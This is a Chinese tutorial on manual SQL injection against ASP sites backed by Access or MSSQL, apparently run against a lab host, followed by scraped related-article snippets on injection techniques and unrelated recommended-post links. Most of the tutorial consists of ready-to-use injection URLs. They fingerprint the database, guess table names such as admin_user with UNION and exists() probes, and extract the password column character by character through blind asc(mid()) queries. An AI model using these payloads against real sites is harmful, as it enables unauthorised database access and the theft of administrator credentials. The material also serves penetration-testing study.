ACCESS手注
ASP一般搭载ACCESS或者mssql
判断数据库类型
http://www.***.com?id=1 and (select count(*) from sysobjects)>0
http://www.***.com/id=1 and (select count(*) from msysobjects)>0
如果加sysobjects的SQL语句后,网页显示正常, 加msysobject的SQL语句后,网站显示不正常,则说明用的是SQLServer数据库。
如果加sysobjects和加msysobjects的SQL语句后,网页显示都不正常,或者加msysobject后的网页显示正常,则说明是ACCESS数据库。
猜解表名和列名
两种方法:联合查询猜解、exists()函数猜解
联合查询猜解
联合查询 先用order by判断列的长度,然后联合查询表,回显正常即为表存在,反之为不存在
http://192.168.74.136:8003/fwxm_detail.asp?id=31 UNION SELECT 1,2,3,4,5,6,7 from admin_user 返回回显位置,说明 admin_user表存在。
http://192.168.74.136:8003/fwxm_detail.asp?id=31 UNION SELECT 1,2,3,4,5,6,7 from admin 返回错误,说明 admin 表不存在
exists()函数猜解
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and exists (select * from admin_user) 返回正常说明表 admin_user 存在
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and exists (select * from admin) 返回错误信息,说明 admin 表不存在。
PS:如果猜不到表名列名就要试试偏移注入了
爆字段内容
联合查询法:
http://192.168.74.136:8003/fwxm_detail.asp?id=31 UNION SELECT 1,2,列名,4,5,6,7 from 表名
函数猜解法:
表名:admin_user
列名:password
判断长度:
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and (select len(password) from admin_user)=32 返回正常说明内容长度为 32
猜解内容:
一个一个字符串的猜,和盲注一样的道理。
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and (select asc(mid(password,1,1)) from admin_user)>49 返回正常
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and (select asc(mid(password,1,1)) from admin_user)>50 返回错误
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and (select asc(mid(password,1,1)) from admin_user)=50 返回正常
对照ASCII码表可知,第一个字符为数字 2 ,
依次猜解,直到猜解出全部内容。
ACCESS手注的更多相关文章
- sqli-labs11-17(手注+sqlmap)
这几关涉及到的都是post型data处注入,和get型的差别就是注入点的测试处不一样,方法都是一样的 0x01 sqli-labs less-11 1.手工 由于是post型注入,那么我们不能在url ...
- SQL注入 手注与联合注入
SQL注入,吧sql命令插入到WEB表单,或输入域名或页面亲求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令: 得到数据库用户名和密码 1:在以,{ .asp?id=32( ...
- SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.22、23 第二十四 二十五天}
首先什么是SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入有什么危害? 危害:数据泄露.脱库 ...
- MySQL手注之盲注(布尔)
布尔注入: 当我们在注入的过程中输入的语句在页面没有数据返回点,这就需要利用布尔型盲注一步步来猜取想要的数据.(盲注分为布尔盲注和时间盲注) 盲注常用函数: length() 返回字符串的长度, 可 ...
- MySQL手注之报错注入
报错注入: 指在页面中没有一个合适的数据返回点的情况下,利用mysql函数的报错来创造一个显位的注入.先来了解一下报错注入常用的函数 XML:指可扩展标记语言被设计用来传输和存储数据. concat: ...
- MySQL手注之联合查询注入
了解联合查询注入之前,先要了解一下什么是union? union是用于合并两个sql查询结果的语句. 要使用union 必须有相同的列数 必须有两条以上的select语句组成 列的数据类型必须兼容 ...
- sql 手注 语法
mysql中的information_schema 结构用来存储数据库系统信息 information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表. | SCHEMATA ―― ...
- 实验吧——看起来有点难(sql盲注)
题目地址:http://ctf5.shiyanbar.com/basic/inject/ 首先当然是拿admin/admin来试试啊,多次测试发现,有两种错误提示 1.数据库连接失败! 2.登录失败, ...
- access偏移注入原理
前言:近段时间在学习access偏移注入时,在网上查询了大量的资料,感觉很多资料讲解的十分模糊并且我个人认为有很多不够严谨的地方,于是我便在线下经过大量测试,写出以下文章,如有错误,望指出. 如要转载 ...
随机推荐
- 前端面试题归类-HTML2
一. SGML . HTML .XML 和 XHTML 的区别? SGML 是标准通用标记语言,是一种定义电子文档结构和描述其内容的国际标准语言,是所有电子文档标记语言的起源. HTML 是超文本标记 ...
- Spring Boot 自动配置之@Conditional的使用
Spring Boot自动配置的"魔法"是如何实现的? 转自-https://sylvanassun.github.io/2018/01/08/2018-01-08-spring_ ...
- JVM——GC(垃圾回收)算法
一.垃圾回收的基本概念 垃圾回收(GC,Garbage Collection),指内存中不会再被使用的对象清理掉. 垃圾回收有很多种算法:如引用计数法.标记压缩法.复制算法.分代/分区的思想 二.垃圾 ...
- Python学习-小黑屋游戏
给大家分享一下有趣的游戏,在大一上学期学习的内容里,小黑屋比较好玩. 1.导入函数库 先导入random.time两个函数库的使用来达到随机生成人物.生成人物加载时间的目的. import rando ...
- Zero date value prohibited解决方法
发现错误 在做新需求时,建了新表,但是在测试debug中,控制台报了java.sql.SQLException: Zero date value prohibited错误 数据库用的是Date类型 实 ...
- 免费、开源的基于tp5的快速开发框架
HisiPHP 系统官网:https://www.hisiphp.com/ 后台体验:http://v2.demo.hisiphp.com/admin.php/system/publics/index ...
- HSRP技术(热备份)学习总结
热备份学习视频https://www.bilibili.com/video/BV1i7411G7vm?p=78 • 命令: ○ int fa0/x ○ standby 1 ...
- Redis Cluster 集群节点信息 维护篇(二)
集群信息文件: # cluster 集群内部信息对应文件,由集群自动维护. /data/soft/redis/6379data/nodes-6379.conf 集群信息查看: ./redis-trib ...
- 【ORA】ORA-00030: User session ID does not exist.
今天巡检,查询锁相关的情况的时候,确认业务后,准备将锁干掉,但是干掉的时候报了一个错误,ORA-00030 发现回话不存在,我以为pmon进程已经将锁进程kill掉了,就再次查看,发现,还是存在 这个 ...
- M8 E147 不可能为条目*确立账户
今天用BAPI做发票校验, BAPI_INCOMINGINVOICE_CREATE这个函数使用都正常,可是突然就无法做发票检验了 报了个错误,"不可能为条目BOXT TR 确立账户" ...